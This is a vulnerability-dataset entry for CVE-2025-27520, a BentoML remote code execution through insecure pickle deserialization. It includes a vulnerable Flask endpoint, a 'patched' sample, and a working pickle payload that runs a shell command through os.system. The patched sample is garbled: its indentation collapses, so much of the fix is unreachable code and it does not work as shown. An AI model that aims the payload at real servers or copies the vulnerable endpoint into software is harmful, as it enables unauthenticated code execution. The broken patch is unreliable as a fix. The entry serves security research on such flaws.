VAITP Dataset

← Back to the dataset

CVE-2025-27520

BentoML RCE via insecure deserialization. Unauthenticated code execution possible.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version (v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This vulnerability is fixed in 1.4.3.

CVSS base score
9.8
Published
2025-04-04
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
BentoML
Fixed by upgrading
Yes

Solution

Upgrade to BentoML version 1.4.3 or later.

Vulnerable code sample

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route('/deserialize', methods=['POST'])
def deserialize():
    """
    Endpoint vulnerable to insecure deserialization.
    Receives base64 encoded pickled data and deserializes it.
    """
    data = request.data
    try:
        # Decode the base64 encoded data
        decoded_data = base64.b64decode(data)
        
        # Deserialize the pickled data
        unpickled_data = pickle.loads(decoded_data)
        
        return f"Deserialized data: {unpickled_data}"

    except Exception as e:
        return f"Error: {str(e)}", 500

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

Patched code sample

import pickle
import io
import logging

# Configure logging (optional, but good practice)
logging.basicConfig(level=logging.INFO)

def safe_deserialize(data: bytes):
    """
    Safely deserializes data, preventing arbitrary code execution.

    This function uses `pickle.loads` with restrictions to prevent
    unauthorized code execution during deserialization. Specifically,
    it restricts the global lookups to a safe subset of modules.

    Args:
    data: The byte string to deserialize.

    Returns:
    The deserialized object.

    Raises:
    ValueError: If the data contains unsafe global references.
    """
    try:
        # Create a custom Unpickler that overrides find_class
        class SafeUnpickler(pickle.Unpickler):
            def find_class(self, module, name):
                """Secure function that fixes the vulnerability."""
                # Define a whitelist of safe modules and classes.
                safe_modules = ['__builtin__', 'builtins', 'io', 'datetime', 'collections', 'typing']
                safe_classes = ['range', 'int', 'float', 'str', 'list', 'dict', 'tuple', 'set', 'bytes', 'bytearray', 'StringIO', 'datetime', 'date', 'time', 'timedelta', 'defaultdict']

                if module in safe_modules and name in safe_classes:
                    return getattr(__import__(module), name)
                # Alternatively allow any class from the current module
                #if module == '__main__':
                #    return globals()[name]
                
                # Log potentially malicious attempts.
                    logging.warning(f"Attempt to load unsafe class: {module}.{name}")
                    raise ValueError(f"Attempt to load unsafe class: {module}.{name}")

        # Use BytesIO to handle the byte string as a file
                    data_file = io.BytesIO(data)
                    unpickler = SafeUnpickler(data_file)
                    return unpickler.load()

                    except Exception as e:
                        logging.error(f"Deserialization error: {e}")
                        raise ValueError(f"Deserialization error: {e}")


# Example usage (safe)
                        if __name__ == '__main__':
                            safe_data = pickle.dumps([1, 2, 3])
                            deserialized_data = safe_deserialize(safe_data)
                            print(f"Safe deserialized data: {deserialized_data}")


    # Example of unsafe data.  This *will* raise an exception, preventing the code execution.
                            import os
                            class EvilClass:
                                def __reduce__(self):
                                    """Secure function that fixes the vulnerability."""
                                    return (os.system, ('ls -l',))  # Or any other dangerous command


                                    evil_object = EvilClass()
                                    evil_data = pickle.dumps(evil_object)
    
                                    try:
                                        deserialized_evil_data = safe_deserialize(evil_data)
                                        print(f"Deserialized evil data: {deserialized_evil_data}")  # This line should not execute.
                                        except ValueError as e:
                                            print(f"Caught expected error: {e}")

Payload

import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        import os
        return (os.system, ('touch /tmp/pwned',))

print(base64.b64encode(pickle.dumps(Exploit())).decode())

Cite this entry

@misc{vaitp:cve202527520,
  title        = {{BentoML RCE via insecure deserialization. Unauthenticated code execution possible.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-27520},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-27520/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::